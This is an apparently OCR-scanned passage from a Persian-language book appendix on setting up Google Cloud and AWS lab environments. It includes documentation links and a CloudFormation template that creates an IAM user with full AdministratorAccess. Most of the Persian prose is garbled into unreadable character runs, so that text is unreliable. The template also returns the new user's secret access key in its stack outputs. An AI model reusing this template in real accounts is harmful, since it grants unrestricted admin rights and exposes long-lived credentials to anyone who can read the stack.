il 54Sad) oL (VPC) Gl (s pad il S ) olBiile )1 S L2 S dial & )8 3 Jali ) suay
S ) s ool (Ml Slilas sladi sai | Lol GCP 4S) (s jlas

s https://cloud.google.com/docs/get-started 2 | Jal e cxax GCP 51 S il () y
.S JLiy https://developers.google.com/workspace/guides/create-project

AWS s )xilel 5 (Sl

Cloa S5 AWS )2 L35S ol all 5 (ile Jls il jealudis S5 51 Amazon Web Services «GCP il
a5 le sl Sa g2 (OU) e b sldaal g o auil ¢ e Lilua Gl 5 S (sl L @L\A Gl Ll cayla
sl pane s 21015 OU 5 el e ol it Cy e (5la jsme 4S s 235 (g1 R

SO il aa) ga Cu pae Clea b AWS e jl o s )lailel ) 4 (s 3l QLS ol L;m&zguj slpas Ja o
‘d}MHS}AWS@L\A‘UG&&)LHJLS\)-‘ _C'_u.u\(;@.ALg)\S)Q@M&j@}&\@ﬁ)@ﬁﬁ@\ﬁ@&@\)@
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Figure A-4: Viewing the permissions policies for an AWS user account
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Description: 'CloudFormation template to create IAM user with Administrator

Access'

Resources:

AdminUser:

Type: 'AWS::IAM::User’
Properties:

UserName: AdminUser
ManagedPolicyArns:
-arn:aws:iam::aws:policy/AdministratorAccess
AdminUserAccessKey:

Type: 'AWS::|IAM::AccessKey'
Properties:

UserName: !Ref AdminUser

Outputs:
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AccessKey:
Description: Access Key ID for the Admin User
Value: |Ref AdminUserAccessKey
SecretKey:
Description: Secret Access Key for the Admin User
Value: |GetAtt AdminUserAccessKey.SecretAccessKey
CloudFormation 3 (i 1S 5 JAM Lo lS <SG alagl 1A-7 Cus b

0 353 g ldaadl ) gl cna AWS clua G Al 6l g
I https://docs.aws.amazon.com/accounts/latest/reference/manage-acct-creating.html
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